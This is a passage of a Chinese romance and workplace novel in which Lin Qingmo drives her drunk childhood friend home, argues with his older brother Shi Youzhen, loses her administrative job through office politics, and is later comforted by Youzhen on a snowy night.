清茉开车载着施少衡返回施家大哥楼下, 途中拨通施友臻电话,把事情复述一遍,施友臻在电话里没多讲, 听不出情绪地“嗯”了一句,清茉疑神疑鬼,觉得施家大哥语气已经不怎么好了。 载着少衡停泊到楼下, 清茉打开后车门喊少衡,拍少衡肩膀:“动一动!太沉了你!自己能下来吗?” 少衡身上酒气很重, 夹杂着陌生的男性气息, 清茉对于人的气味很敏感, 这么多年未见, 少衡已经是一个完全陌生的成年男性了, 刚才被少衡压在沙发中,陌生的气息夹杂着酒气和难以抗衡的蛮力,清茉很不舒服, 接近恐惧。 现在缓了缓, 冷静些继续喊了几声少衡。 少衡还稍存意识,没有彻底醉倒, 歪歪斜斜下了车, 站到面前清茉才发现, 少衡竟然也这么高了,好像不比他大哥矮多少, 少年变成了健壮的成年, 眉眼倒还是之前的样子,长开也还是俊朗,这会因为醉酒的不舒服,眉头紧皱, 凶帅凶帅的拽屁样儿。 少衡重心不稳歪到清茉身上,不是小时候清清爽爽小孩子的味道了,很沉,很近,过于压迫。 清茉费劲撑着少衡的时候,施友臻板着脸下了楼,站在门口台阶上,高高在上看着他们俩。 少衡愈发沉重,清茉踉踉跄跄半拖半抱往前走了几步,难以支撑平衡,被少衡带倒摔在地上,她膝盖正好磕在路牙大理石棱上,疼得眼前一黑,缓了好一会起身,瞧着也摔在地上的少衡,又累又无语地问着仍旧站在前面俯视着他俩的施友臻,问: “他什么情况,怎么自己喝闷酒?” 施友臻丝毫没有施以援手的意思,跟前半夜还神情放松谈笑的模样判若两人,他面无表情道:“你不该管他,就让他醉外面,能接他的人多的是,轮不到你殷勤。” 清茉被他一梗,知道施友臻是生气了,她干了这么多年伺候领导的行政工作,还是在揣摩人心方面能力欠缺,有些走神地想着,人家章大秘拿高薪是值得的,谁能揣摩得了施友臻这祖宗啊。 施友臻讲得半分情面不留,里子面子都不留,清茉知道施友臻是真在乎,真生气了,也对,少衡是人家亲弟弟,真动气也是应该的,怪她碰了他宝贝弟弟呗,虽说也没瞧出来咋宝贝,一笔写不出两个施,施家大哥是怕她越界吧。 她解释道:“接电话的时候听到地址就在旁边,我没多想就直接过去了,大冬天温度太低,喝醉了在外面很危险。” 施友臻听着清茉解释,心底有个声音在喟叹:惯性和本能根本掩饰不了,清茉跟少衡年龄相仿,从小就玩到一块去,从奶糕娃娃到少男少女,邻里都觉得他们俩才像真正一对双生子,俩人干什么都很默契,形影相伴,青梅竹马。 就像现在,就算中间隔了很久未曾见面,清茉还是会第一时间急切地去维护,去关心。 施友臻并不藏着掖着,直接对清茉说道:“以后干这种事,先考虑好自己的身份和立场。” 清茉一怔,脱口而出:“我什么身份?什么立场?养久了的猫猫狗狗都有感情,我关心下少衡不应该吗?说到底我跟少衡,比跟哥更亲吧?您这是只许州官放火,不许百姓点灯!哥,您先帮我把他弄进去好不好!地上太凉了!” 施友臻一听,直接转身走人,扔下一句:“既然跟他更亲近,就自己处理吧。” 清茉简直了,在施友臻身后喊道:“哥!别走啊!友臻哥!大哥!我弄不动!” 施少衡已经四仰八叉睡死地上,清茉坐在凉冰冰大理石路牙上,看他睡成这德性,气儿不打一处来,使劲拧了下施少衡腮帮子,气道:“怎么还是这么能给我整事,你哥真生气了,咱俩完蛋。” 拧完,又兀自笑了下。遥远记忆里的场景浮现,恍恍惚惚流年偷换,清清纯纯的小男孩长成了张牙舞爪酗酒宿醉的混账男人,当年看不惯他俩的大男孩还是继续板着脸看不惯,兄弟俩按照预定轨道长大成人,尴尬冒然出现的只有她。 清茉笑了下,就笑不出来了。 遇到问题,解决问题。清茉去值班岗亭处请安保大哥帮忙,施家兄弟是有名有姓的人,安保大哥们很热心地过来,清茉都还不知道施友臻具体住哪层呢,安保大哥门儿清,知道是施总跟小施总,一路帮忙送到门口。 清茉敲门,施友臻倒是开了门,抱着胳膊事不关己似的,看他们把少衡送到客房床上。 清茉一路感谢将安保大哥送出门,送走人回头挺不满地对施友臻说着:“你怎么能真不管?” 施友臻那表情,似乎醉醺醺的少衡已经污染了他的私人空间,罪不可赦,跟小时候撵他俩滚出房间时候一个德性,没什么好气说道:“这么大的人没有自制力,不值得管。” 这是清茉第一次踏进施友臻的家,看起来是非常宽敞的大平层,软装硬装布置都很符合施友臻的风格,利落、齐整、现代,过于空旷过于大,没什么感情的样子。 刚才放下少衡的客卧,就已经比清茉的家大很多了。 清茉站在门口,没有再踏进去的意思,说着:“哥,那我也先回去了。” 明明前半夜还轻松亲和地坐在一起把酒言欢,这会空气凝滞得像世仇死敌,清茉觉得自己是管了不该管的,见了不该见了,践踏了施友臻界线分明的规则。 接到电话的时候,还是想的少了,她跟少衡亲厚的过往,才是时时刻刻该警惕的雷区,刚才应该直接给施友臻打电话,让他处理。 果然施友臻开口道:“少衡的事,你不用这么上心,更没必要亲自操办,你们都不是过家家的三岁小孩。” 清茉站在门口,迁就他的话说着:“抱歉,以后不会了,刚才想着离着很近,就……” 施友臻打断:“不是远近的问题。” 清茉:“嗯,我知道错了,对不起。那我先回去了,估计少衡醉断片了,不知道是我,哥你别提就行了。” 清茉要往外走,施友臻又开口道:“过来。” 清茉顿住脚步,也没什么好气,问:“又怎么了?教训够了吧,我都道歉了!大半夜我闲得慌吗?那你俩能不能别再骚扰我?是谁不讲道理!你是恶婆婆吗?你要管也是先管好你弟弟,让他别再给我打电话了好吗?是他缠着我!” 清茉一顿,又补了句:“你也别缠着我!” 施友臻:“……” 施友臻看她固执地站在门边,小嘴吧啦吧啦,嘴巴上认错一句,又顶回来十句,摆明了就是不服,犟着小脸闷声闷气,施友臻干脆过去拉着清茉手腕把她拉进来,一直牵到客厅,安置到沙发上。 清茉刚想骂一句别动手动脚,施友臻突然间半跪在地上,握着清茉的脚腕,要往上挽裤腿,清茉吓一跳,不自在地要抽走,施友臻蹙眉,牢牢握住她小腿,喝道:“裤子都磕破了,自己不觉得疼吗?别动!” 那能不疼嘛,光顾着吵架逞能了,没空管疼不疼。 清茉被他一说,觉出疼来了,老老实实坐在沙发上缓着劲儿,沙发触感很熟悉,看颜色款式,好像跟施友臻搬过去的是一个套系,熟悉的沙发让清茉放松几分,乖乖由着施友臻给她卷起裤腿。 白皙皮肤上青青紫紫分外明显,还真是磕破了皮,施友臻起身去拿医疗应急箱,走过来重新半跪在地上,高位的人前一秒还呵斥教育,后一秒不带犹豫地屈膝关心,清茉心中微妙,也和缓了语气,再次解释道:“哥,我真没想那么多,我正好开到那里,哥……” 施友臻把碘伏倒在消毒棉上,镊子夹起,给她膝盖破皮的地方涂抹,杀得清茉浑身一抖,施友臻抬眼看她,好像更生气的样子,但是下手轻了些,说着:“一跟少衡在一起就没有分寸,吃亏还是吃少了是吗?” 清茉不吭声,有点委屈,心想,热心司机真难当。 施友臻给她贴好创可贴,站直身子,再次居高临下看着清茉,清茉低着头闷闷地不吭声,施友臻只能看到清茉的发顶,他想揉一下,就真的伸手去揉了一下,清茉躲开,闷闷说着:“我回去了。” 施友臻问:“还能开车?” 清茉:“就擦破一点皮,有什么不能开的。” 施友臻:“能开我也不会让你开,房间很多,住下吧,太晚了。” 清茉:“?”她很是怀疑地看着施友臻,问道:“那可不行,明天早晨碰见少衡怎么办?” 施友臻:“见就见了。” 清茉有点摸不清施友臻到底怎么想的,之前说不准见,这会又说见就见了,男人的心,海底的针,难猜。但是她真住下,像什么话。施家大哥反反复复真讨厌,清茉放下裤腿站起来,一想,还是有点气闷,就戏精上身随口说着: “我可不敢见就见了,哥您别忘了我是干什么的,近水楼台先得月,您还是看好宝贝弟弟吧,别让我叮了有缝的蛋。”她边说边快步往外走,自顾自讲着:“明儿我还得早起去接朋友出院……嗯……啊!” 突然被身后快步撵来的施友臻大力攥住肩膀压到一旁墙面上,施友臻大手包住清茉下巴,食指和拇指捏在清茉两颊软软腮肉上,都捏得变成嘟嘟嘴了。清茉吓一跳,睁圆眼睛瞪施友臻,用手去掰,施友臻不满地更用力捏她脸,蹙眉说着: “说过不准讲这种话。” 清茉:“!” 施友臻虎口贴在清茉唇上,清茉又气又恼又惊,也没过什么脑子,直接张嘴就狠狠咬住施友臻虎口,男人手硬,硌牙,清茉不解恨似的还磨了一下牙,以暴制暴!以牙还牙! 施友臻估计没想到清茉张嘴来这么一出,愣了一下卸掉力气,清茉冲着他胸膛猛推一把,跑了出去。 施友臻若有所思地看着虎口上浅浅的牙印,到底不放心清茉再开车回去,也跟着出来,哪想清茉已经受惊野猫似的窜上了车,猛掉头冲了出去。 施友臻:“……” 夜间道路空旷,清茉风驰电掣冲回自己小区,下车看手机上没有新的来电和信息,松口气。锁好车才觉得膝盖被裤子磨得好疼,一瘸一拐上楼,心里痛骂施少衡,希望明早少衡被他哥狠狠揍一顿才好。 当然他哥也不是好鸟,好好讲话不行吗,掐人脸干嘛,清茉揉了揉自己腮帮子,她每天花很贵的护肤品在养护好吧!寸脸寸金,怎么能说捏就捏。 膝盖贴着防水贴去洗澡,热水淋漓水汽蒸腾间,想起施友臻很用力地握住她的小腿,擦碘伏的时候又很轻地托了托她的脚腕,清茉往热水中缩了缩,想让高温冲刷掉萦绕不去的触感。 洗完澡护肤的时候,抬眼就看到了施友臻专用的那套洗护用品。 小小的房间被入侵得太快太彻底,四处都是施友臻的痕迹,门口的拖鞋、皮鞋、运动鞋,悬挂的昂贵手工正装,沙发上叠得一丝不苟的床品,还有崭新的咖啡机、办公电脑。玄关搁置架上甚至还有几块稀有限量款腕表和几对高定珠宝袖扣。 这都什么啊。 精神高强度紧张的一天,见了许久不见的老友艾米,带着施友臻去了一个热闹浮夸的烤全羊聚会,然后隔着这么多年见到了少衡(醉趴版),又返回施友臻家干了一架,清茉睡前想,很好,有质有量充实的一天。 晚上睡得非常沉,清晨被闹铃吵醒,清茉懒懒散散出卧室洗漱,被快挨到她卧室门口的长沙发绊了一下,正好又磕在昨天的伤口上,疼得龇牙咧嘴完全清醒,这沙发适合拜访在施友臻的豪宅,而不是委委屈屈横在她小小的客厅中。 洗漱完很好奇施友臻护肤品的味道,就干脆用了他的。 嗯,是施友臻的味道,清爽不腻,贵就是好用。 一下子有了两台车可以开,清茉拿着两套车钥匙下楼,想着晓杨出院估计要拿不少东西,就继续开了大越野,下班给施友臻还回去,继续放他公司楼下好了,不过万一又碰到爱添乱子看热闹的章大秘,也麻烦。 接到晓杨的时候,晓杨正好办理完结算,出来看着清茉的座驾,很无语问着:“什么情况?你为了接我,专门去租了个车?这车也太豪放了吧,付得起油费吗?” 这还真提醒了清茉,今儿必须得还回去,不然还得给车加油,油耗太猛了。 清茉要送晓杨回住处,晓杨惦记着要到核算工资的日子了,就跟清茉直接去了公司。到公司楼下停车场的时候,碰到了来上班的何姝,何姝看着从车上下来的清茉,也很惊讶地问:“你……什么时候买的车?很贵吧?” 清茉:“朋友的,借着开一下。” 何姝又看一眼来上班的晓杨,客气打招呼:“都好了吧。” 晓杨:“嗯。”等何姝走过去,晓杨冲清茉翻了个白眼,撇撇嘴,清茉拍了下晓杨肩膀。 同事们陆续都已经回来上班,一些项目上会流转攒在清茉案头,她坐下就开始处理文件,结果没工作半个小时,晓杨给清茉发信息写道:“我的乌鸦嘴预感果然准了,你要被清洗了。” 清茉回了个问号。 晓杨发过来一个截图,是公司在招聘网络上发布的最新职位需求,赫然正是机要秘书跟行政主管,跟清茉的岗位重合,看日期,是昨天刚发布上去的。 清茉哑然失笑,也预测到了这一步,但是没想到来的这么快,也够不明不白的,她最起码得知道个为什么吧。 晓杨作为人事部门的资深人精,很快就调查明白了来龙去脉,把清茉喊到外面楼梯间,跟清茉讲了其中原委。 实践证明,清茉还是太嫩,以为看了别人热闹,结果进套的成了自己。 团建集体中毒事件的责任,并没有追究到具体人身上,何姝哭哭啼啼好几天,但是最终处理跟她个人没有关系,董事长亲自出面,上下沟通后定义为是意外事件,并且给予的赔偿金额很大,钱很到位,大家还得给公司打工,也就这么默认了。 但是行政部门作为这次团建的主责部门,被董事长开会的时候点名批评,然后强调行政部门工作态度要严谨规范,为人处事要正直磊落。 清茉听这话,心里百转千回,知道没那么简单,董事长这是在点她吧。 董事长的侄子刘阳,这段时间给清茉打过好几次电话,想约清茉出来,清茉兵荒马乱哪有那个闲功夫,就一直拒绝。上次见面刘阳给送的礼物算贵重,原本计划找个机会还礼,一直耽误下还没实施,这种事儿,添油加醋讲出去,太容易误会。 该早点跟董事长聊聊的。工作的事儿,百密一疏,一个疏忽,前面的百密,都没了意义,董事长今天不在公司,清茉都没机会见到。临近中午,晓杨的领导,人事部门的主管领导叫清茉去谈话。 谈话的结论就是,林清茉作为行政部门的骨干,不主动承担,不积极作为,没有尽到事前审核和事中监督的责任,公司认为她不适合这个岗位了。 至于之前的工作,主要的几位领导年终都给清茉打了绩效降级,也是能证明林清茉工作状态松懈有一段时间了。 清茉沉默地听完,脑子里回放了很多种激烈的抗议手段,人事主管语气缓和又说着:“当然,公司该给的补偿也都按照相关制度规定给予,毕竟出纠纷官司,都耽误时间,也影响你找新工作。” 她毕业没多久就来到了这家公司,从懵懵懂懂到首席笔杆子,没想到会以这种形式离职。现在就业形式不乐观,平时刷短视频经常刷到突然被谈话裁员的视频,有人平静接受,有人哭闹录像,以为遥不可及,发生在自己身上,就是一瞬间的事情。 清茉还算平静地结束谈话,告诉人事主管明天给予答复,人事主管也跟清茉共事时间不短,点头说着:“只能到明天哦,相互体谅吧。” 下午清茉沉默地坐在工位上处理完OA上积累的流转文件,何姝应该是知情的,看清茉淡定地办公,忍不住问了嘴:“清茉姐,是不是要交接一下?” 清茉看她一眼,说着:“都在我电脑里,文件夹上名字都很清楚。” 何姝看清茉比较平静,又说着:“清茉姐你这么漂亮,肯定不愁找工作,你看你早晨开的车,我赚一辈子也不一定买得起,女人有捷径,谁吃这个苦啊。” 清茉没吭声。 晓杨悄悄关心清茉,清茉给她发信息,约下班一起走,顺便送晓杨回家,结果晓杨打探到了更炸裂的消息,一上车就跟清茉分享。清茉也算是明白了为什么之前相处融洽的总经理,突然态度转变,同意给清茉绩效降级。 据说总经理跟二级公司的一个秘书小妹谈恋爱了,要把秘书小妹调到集团行政办公室,担任负责人,这样一看,清茉占着位置,能力又太强,不好管理。 清茉哑然失笑,问着:“总经理不是有老婆孩子?” 晓杨:“这咱哪知道,知人知面不知心,一个个天天西装革履,看着人模人样,谁知道呢。所以现在怎么办,要不要走仲裁?清茉?你别这么平静,怪吓人。” 清茉安静开车,淡淡说了句:“没意思。” 晓杨点头:“是啊,就是很没意思,这逼公司我早就看着势头不对,拉帮结派不干正事,就是仗着以前积累的底子,都什么人啊,我也不想干了。” 清茉:“你别冲动,真不想干也找好下家再跳槽。” 晓杨:“那肯定,不过你是不是得赶紧找个,房子还得供着贷款呢。” 清茉:“嗯,还有些积蓄,放心吧。” 清茉送完晓杨,去银行取了三万现金,给董事长打了个电话,董事长本来不想见清茉,清茉礼貌道:“明天我就从公司离职了,毕业没多久就到您这里,受教很多,当面感谢您一下吧,有些话想跟您聊一聊,不讲开,我心里过不去坎儿,您就当长辈再体谅一次晚辈。” 董事长应了,给了个地址,清茉直接开车过去。 见面清茉先把三万块钱现金给放桌上,说着:“可能有些误会,这钱麻烦您捎给刘阳,不过介绍对象,也得讲你情我愿,抱歉收了贵重的礼物,我今天算是还了。” 董事长也很无语:“差你这三万块钱?” 清茉叹口气,说着:“您不差,您侄子也不差,但是三万对于我来说,挺沉的,就跟裁员一样,公司是您的,用谁不用谁就是一句话的事儿,但对于我来说,是很突然的大事。好了,还是感谢您的栽培,我收获很多,再见。” 董事长起身,说着:“要不你再见一见刘阳?你一直不跟他见面,他在家闹得凶。凡事都有转圜余地嘛。” 清茉还是很平静:“那是你们,你们都有转圜余地,我没有。” 清茉没直接回家,开车去了城郊公园,在公园里一直走,绕着步行道走了一圈又一圈,一圈又一圈,身边散步的行人越来越少,越来越少,走到公园里就剩下她一个人。 今天市里发布寒潮降温预警,深夜下起了大雪。 下雪天的公园更加安静,积雪慢慢铺满了一层,接到少衡电话的时候,清茉正在湖边捡石头,扔到湖面冰层上,石头撞击冰面发出好听的声音,很空灵,雪夜就更加漂亮了。 少衡昨天醉酒,早晨发现睡在大哥家,爬起来转一圈瞧着家里没人,大哥早就去公司上班了,少衡不记得昨天怎么过来的,但是觉得肯定会被骂,就先去了施友臻办公室,主动认错,以为能少挨几句。 施友臻结束会议,回到办公室就看到少衡两眼发直陷在沙发里发呆,反常地没有一见面就教训,没说什么,坐到他的座椅上。 少衡见状,没着急承认错误,突然冒出一句: “哥,昨天晚上,我好像梦到茉茉了。” 施友臻没吭声,少衡又自顾自继续说着:“我梦到自己抱住茉茉,她好软,跟小时候一样,香香的。” 施少衡:“哥,给你看照片,我本来不打算告诉你来着。我在茉茉朋友店里发现的茉茉照片,她现在在做模特,超漂亮。” 少衡把清茉给六六服装店拍摄的照片发给施友臻,自己再次欣赏,一边滑照片一边品评:“又甜又辣对不对,人不能同时踏进同一条河流,但是我能重复爱上同一个人,不行,我得再努力约茉茉见面,她老是不答应我见面。” 施少衡懒散斜靠在办公室沙发中,嘀咕着:“梦是心头想,我估计看茉茉照片看多了才会梦到,哥,触感特别真实,软乎乎的,啊,你别想歪,我可没耍流氓,就是拥抱,纯洁的拥抱。” 施友臻没搭理他,但是也没工作,低头看了眼自己的虎口,上面浅浅的牙印早就不见踪影,但是清茉两颊腮肉确实非常软乎乎,指尖仿佛触感依旧。 施少衡还要大放厥词,施友臻已经板着脸下逐客令:“你既然还有时间宿醉,待会章秘书会给你更新工作进度考核,滚吧。” 少衡:“亲哥!太残酷了吧!对了哥,谢谢昨天去接我。” 施友臻:“不是我接的。” 少衡:“啊?好吧,哥你派人去接也算是你接的,弟弟我记住您的大恩大德。”少衡不记得给清茉打过电话,就没再深究,抬屁股就走了。 施友臻滑看着清茉的照片,一张一张点了保存,做模特拍照的清茉,看着镜头有种漫不经心的感觉,男人会很轻易被这种感觉吸引吧,看着不可亵渎,但是…… 施友臻放下手机,脑子里却一直浮现少衡的混话,“很软”“软软的”。 确实是,手腕柔软,双颊也是,咬他虎口时候的嘴唇也是。 少衡被他哥从办公室撵走之后,接了新派过来的工作任务,头晕脑胀干到大晚上,终于团队都下班,他才赶紧给清茉打电话,融恒置业的办公室也在高层,少衡看着外面飘落的雪花兴致昂扬地对清茉说着: “我昨儿梦到你了,给了你好大一个拥抱!” 清茉:“……”那确实好大,她被压得都顺不过气儿了,看来施友臻没提昨天晚上的事儿,清茉就顺着少衡说:“谢谢您的热情。” 少衡:“茉茉,下雪了,要不要见面,雪夜多浪漫,让我们在大雪中久别重逢?太浪漫了,这会正好下大了,路灯,大雪,美丽的茉茉,给我发个位置呗,我去找你!” 清茉站在空无一人的寂静城郊公园,雪越下越大,鹅毛大雪飘飘扬扬,来来往往都是清茉一个人踩出来的脚印,听着少衡电话中元气满满的阳光声音,清茉突然就有点点羡慕少衡,可以有所仰仗地天真长大,仍旧这么热烈无邪。 清茉:“嗯,外面雪很大,天太冷了,不想出来,改天吧少衡。” 少衡:“茉茉,我调查了一圈,我们家当年真的没落井下石,我们家都是堂堂正正的人,你要信我。” 清茉:“嗯。” 少衡:“茉茉你有没有想我?” 清茉:“还好,一直很忙,偶尔会。” 少衡:“可我一直超想你。” 清茉:“好了,你少肉麻,我要开车了,改天再说。” 少衡:“还在外面吗?那你开车慢点,路滑,要不我去接你?我真的超想超想你。” 清茉:“知道了,先这样了,拜拜。” 清茉开车回家的时候确实开得很小心,下大雪视线不好,又是施友臻的车,清茉格外小心,回来得太晚,小区内的车位已经停满,清茉绕了一圈又出了小区,准备停在收费停车场,果然车多就是麻烦,又一份支出。 泊好车,清茉往回走的时候慢慢有了失去工作的实感,心情也沉重起来,万一新工作找的不顺利,断供是非常有可能发生的事情,现在楼市不景气,她出售房子的话,会损失很多钱,很多,好多年工作都白干的程度。 低着头边走边想,想董事长的误会,也想总经理跟何副总的算盘,更想她这么多年加班加点任劳任怨的努力工作,以及人事给出的不符合实际的评价和辞退理由,以及有没有必要耗费时间经理去仲裁。 难过的情绪虽迟但到,她独自在大雪里低头满满前行。 眼前突然被挡住了路,头顶多了一把伞。 清茉抬头去看,发现是高大的施友臻,打着一把更高的伞,午夜鬼魅似的突然就出现在了眼前。 施友臻问:“去哪儿了?怎么才回家?” 清茉揉揉眼睛,清了清嗓子,努力正常起来,问着:“哥?你怎么又过来了?早来了吗?就不能提前给我打个电话?” 施友臻:“刚到。” 小区的灯,还是昏黄的那些,雪夜里好像更暗了,雪花在灯光中舞蹈。施友臻跟她讲了好几句话后,才发现清茉好像哭了,他问:“怎么了?” 清茉就很嫉妒少衡,少衡有个很好很好的哥哥,脾气是臭一点,但是从小就非常值得信任,是可以无条件去依靠和仰仗的人,总是不动如山稳重地在那里。 清茉很难熬的那段时间,遇到觉得过不去的坎儿,会一边发抖一边想,要冷静,不要怕,如果是友臻哥哥遇到这种情况,会怎么处理,友臻哥哥不会哭,他会冷静解决问题,友臻哥哥说哭没有用。 清茉就凭着不甘认输的劲儿,去打工挣生活费,去申请助学贷款,去职场打拼,省吃俭用攒下钱,买了这个小小的房子,作为给予自己的礼物,她可以谁也不依靠,奋斗拥有一个温馨的容身之所。 清茉放弃似的叹口气,卸下撑着的那口劲儿,用额头抵住施友臻的胸口,布料很凉,但是安心。 她无力说着:“哥,你别问了,别讲话,让我靠一会,就一会。” 好委屈。 他是别人的哥哥,是少衡的,不是她的,所以就一小会,就依靠一小小会,她没有软弱到必须对着谁示弱、必须依靠着谁过活,但是这个雪夜美得实在过分,也许可以松懈一小小下。 施友臻没有再问,稳稳撑着伞,遮挡着满天飞雪,任由清茉抵在他胸口前,维持着比并肩近,比拥抱远的距离。 第25章 第二十五章 林清茉精神状态堪忧。施友…… 林清茉精神状态堪忧。 施友臻这么想着。 生活状态不予置评, 他教养良好,对于女性的生活方式,尽量避免歧视, 但是清茉自述的那种随性随欲的方式,已经没法评论、无法认同、突破底线,所以他才出手干涉, 想着最起码给她一个体面的重新开始,人生很短又很长, 有重启的决心, 什么时候都不晚。 是因为混乱的生活导致这么脆弱起伏的精神状态吗?如果跟很多人维系关系, 确实劳心费神, 她因为在意什么人什么事才备受打击吗? 这个冬天, 一直没有雨雪,北方干燥的气候让寒冬腊月显得寡淡干冷,现在终于迎来了一场大雪, 午夜十分越下越大, 小区住宅楼零星几户人家还亮着灯,太安静, 落雪都有了细碎的声响。 施友臻还在沉默着撑伞, 雪落在黑色伞盖上已经积了白白一层, 清茉抵在他胸口,很安静, 听不出是不是哭了, 她哭起来也是不声不响,上次就是这样。他猜想着林清茉展露出脆弱的各种原因,有高尚的猜想,也有龌龊, 甚至想,这是她示弱博取同情的方式吗? 她有什么意图吗? 男人可能会喜欢这种被索取的感觉,她很漂亮,世俗意义上的漂亮,施友臻见过太多美艳,还是会承认清茉有独一档的美感。 施友臻撑着伞,沉默着想了很多,鲜有私事如此冗长地占据他的时间精力,之前种种自我论证的逻辑推理,都趋向失效,有理变成了无理,施友臻干脆放弃了去论证去思考,放空思绪,静静站在雪夜中,充当一颗沉默的树,让她依靠。 清茉抬起头的时候,睫毛上亮晶晶沾着泪光,她很快地擦了擦眼睛,站直了身子,抬头看了眼施友臻的伞,无厘头似的来了句:“哥,你伞好大。” 施友臻:“嗯” 清茉跺了跺脚,深深呼吸,平静下来问着:“是来找我有什么事儿吗?” 施友臻:“先回家再说。” 施友臻提前上来了一趟,让人搬进恒温饮水机,还有几套名贵的餐具、水杯。东西都还没有拆开,摞放在玄关。他见清茉还没回家,本想折返下楼拿文件看一会,就遇到了失魂落魄似的清茉。 这会清茉进门,就看到了橙色的箱子高高叠起,拥堵在玄关。 施友臻把饮水机拎进去,对清茉说着:“拆出来吧,我要用杯子喝水。” 清茉:“真是委屈您一直用我蓝胖子。” 美丽的物品让人心情变好 ,清茉干脆坐在地板上,一个一个拆盒子,拆到中间,竟然拆出来一只包,稀有皮,跟施友臻送她的第一个包是一个颜色,一个材质,款式都是放大的类似款。 清茉愣住,呆呆地看着这只昂贵崭新的包。 “哥,你拿错了吗?”清茉把装着包的盒子放到旁边,努力伪装平静说着:“销售是不是给拿错货了,这里有只包。” 施友臻脱下外套,整理好挂在玄关,正在站在清茉头顶位置,低头看了一眼,说着:“给你拿的。” 清茉盖上盒子:“太贵重了,哥,我现在不需要。” 施友臻卸下袖扣,腕表,一一放在搁置架上,挽起衬衫袖口,松开几颗领口的扣子,没有顺着清茉的话讨论贵重不贵重,需要不需要,只是说着:“看到觉得你应该会喜欢。”说完就去安装饮水机了。 清茉心里百转千回,没再多说什么,继续拆着精致昂贵的各种餐具水具,挑出几只端着去问施友臻:“哥,你想用哪个?” 施友臻点了几个,清茉去清洗,问着:“这么晚,要不喝热水?” 施友臻:“嗯,去洗漱吧,早点睡,本来想跟你聊深造的事情,我把你的标注做了分析,意愿指向很明显,如果确定方向,可以开始着手准备。” 清茉好奇问着:“像数学模型那种分析吗?怎么分析的?跟我说说呗?” 施友臻已经安好饮水机,取了新杯子,给清茉接了一杯水,递给她:“今天太晚了,看你也不是脑子清醒的样子,明天吧。” 清茉:“……” 外面的雪仍旧很大,清茉犹豫了下,还是问着:“哥,你今天晚上,还回去吗?” 施友臻端着杯子,站在阳台旁,也看着外面的雪夜,问:“你呢,想我回去吗?” 清茉其实很累很疲惫,整个人神经从紧绷到松懈再到木木的,被施友臻一问,摇了摇头,直愣愣脱口而出:“不想。” 说完觉得不合适,找补道:“雪太大了,市政清扫可能还没来得及撒化雪剂。”她看着手中崭新美丽的骨瓷杯,蜷着腿缩在沙发上,一口一口慢慢喝完温热的清水,放好杯子说着:“哥,我去睡了,晚安。” 清茉睡前关掉了闹铃,之前的习惯,每天睡前都要检查第二天的闹铃,为了避免上班迟到,但是明天迟到也没有关系,她去办理离职手续,迟到就迟到吧。 施友臻在外面听到卧室中传来很轻很轻的几次轻叹,黑暗中人的听觉变得敏感,确实是很轻很轻的叹息,等夜晚彻底平静之后,他有些不放心,起身站在清茉卧室门口,房间的门轻掩。 清茉一直对他信任过了头,不会关门锁门……施友臻又突然想,她会不会是故意的?人心太复杂,他不愿妄下定论。 清茉睡到九点多才醒,施友臻已经离开,餐桌上摆着精致的餐点,她慢条斯理地做了杯拿铁,放了一块蜂窝糖,熨贴地看着窗外雪景,慢慢喝完。 心里慢慢定了主意。 人要给自己松绑。 清茉想,换个思路想,结束也可以更好地开始,她终于不用再战战兢兢每天维持高强度的工作状态,所有公文害怕有错别字,都要检查五遍以上,为了协调各种人的时间、事务,磨破嘴皮也不见得换来好脸色,加班加点工资也只有前台项目部门的三分之一,她是公司行政的门面,其实少不了各种应酬,这些年想着办法能避开就避开,但是不管再怎么避嫌,还是会有流言蜚语。 可以忍耐的时候,人没有吃不了的苦,这会一想,何苦呢,不过是一份给人打工的工作,薪水还不错,但是也不至于就是世界末日,只能说很遗憾,付出跟回报没有成正比,天下没理的事儿多了去了,她只能自认倒霉,又摊上了。 清茉洗好杯子,观察下外面主干道已经没有积雪了,去挑了件很靓的裙装,化了精致的妆容,临出门想了想,拆出来昨天施友臻送的包。 她就算离开,也得是“老娘不伺候你们这帮孙子了”的高贵,大女主不能低头,王冠会掉。 到公司都十一点多了,今天上午有个董事会,昨天清茉已经把董事会的材料交接给何姝了,没想到还是出了乱子,早晨何姝打印会议材料漏打了项目组的一个重要议题,清茉到公司的时候,项目组主管正在行政办公室气得抓狂,见清茉进来,也牵连她质问着: “你们是怎么干工作的?既没有准备投影放映,材料也不给打印,我汇报了屁啊?让领导们口算?你问问他们谁学珠心算了?” 清茉打住他,说着:“哥,我今天可是来办离职的。It`s none of my business.” 项目主管一愣,立马打住,清茉平时工作人缘不错,问着:“怎么突然离职了?” 清茉手掌一摊,指向何姝:“新人上位。” 项目主管看看何姝眼神精明,对清茉客气道:“行吧,改天聚聚,你这突然离职,估计有的兵荒马乱了,管不了,别耽误项目进度哈。”说完就离开了办公室。 何姝也挺无语,不过很快被清茉的包吸引了注意力,问着:“高仿?离职还拎个高仿?尴尬了吧清茉姐?” 清茉笑:“不好意思妹妹,昨儿新提。”话音落,晓杨已经闻声而来,也瞧见了清茉的包,夸张“哇哦”一声,好朋友就是能心灵感应,晓杨夸张说着: “我早就怀疑你是隐藏大佬,每次对这些奢侈品都如数家珍,连珠宝都超懂,你开豪车接我我就觉得有问题,果然啊清茉!上班只是你打发时间的爱好对不对?你这是要回去继承万贯家财了吧?好嫉妒!” 清茉觉得晓杨浮夸到搞笑,配合着摇了摇手里的钥匙,说着:“今天换了车哦,限量款跑车,待会载你出去溜一圈。” 晓杨:“哇!好呀好呀,那你快来办手续。” 她俩走出办公室,晓杨噗嗤一下笑场,说着:“你没看她脸色,啊,别提了,超多瓜啊,你们小小行政综合部,怎么这么卧虎藏龙啊。” 清茉:“你别演太过分,你们还得共事。” 晓杨小声说着:“这家公司,不知道为啥突然就超乱的感觉,人事招聘这块,几个高层都想塞人,听说项目组那边也各种关系帮派,只能说外部大环境挺严峻吧,以前蝇头小利,现在是苍蝇腿也是肉,都明抢暗斗,太乱了。” 晓杨把声音压得更低:“所以我,也找好下家了,超牛的,等我安顿好再通报你,现在保密阶段,我谁都防着,你我也得防。” 清茉乐:“防得对。” 晓杨又问:“所以你到底是高仿还是真包?” 清茉:“真的。” 晓杨一脸了然:“那我可能没猜错,你就是自带贵气,以后发达了,记得拉扯一下子姐妹我。你呢?有打算没?” 清茉笑:“我也先保密。” 去人事办公室路上,跟散会的几位领导打了照面,清茉客气地打招呼,董事长跟总经理也说了几句客气话,就擦肩走过了,何副总走过之后,还回头若有所思地打量了几眼清茉。 办完正好是中午吃饭的点儿,清茉跑车泊在楼下路边停车位,倒也不是清茉故意显摆,晓杨帮她拿着私人物品下楼,正好赶上何姝陪着何副总下楼吃饭,餐厅在隔壁商厦底层,就都看到了清茉和她的车。 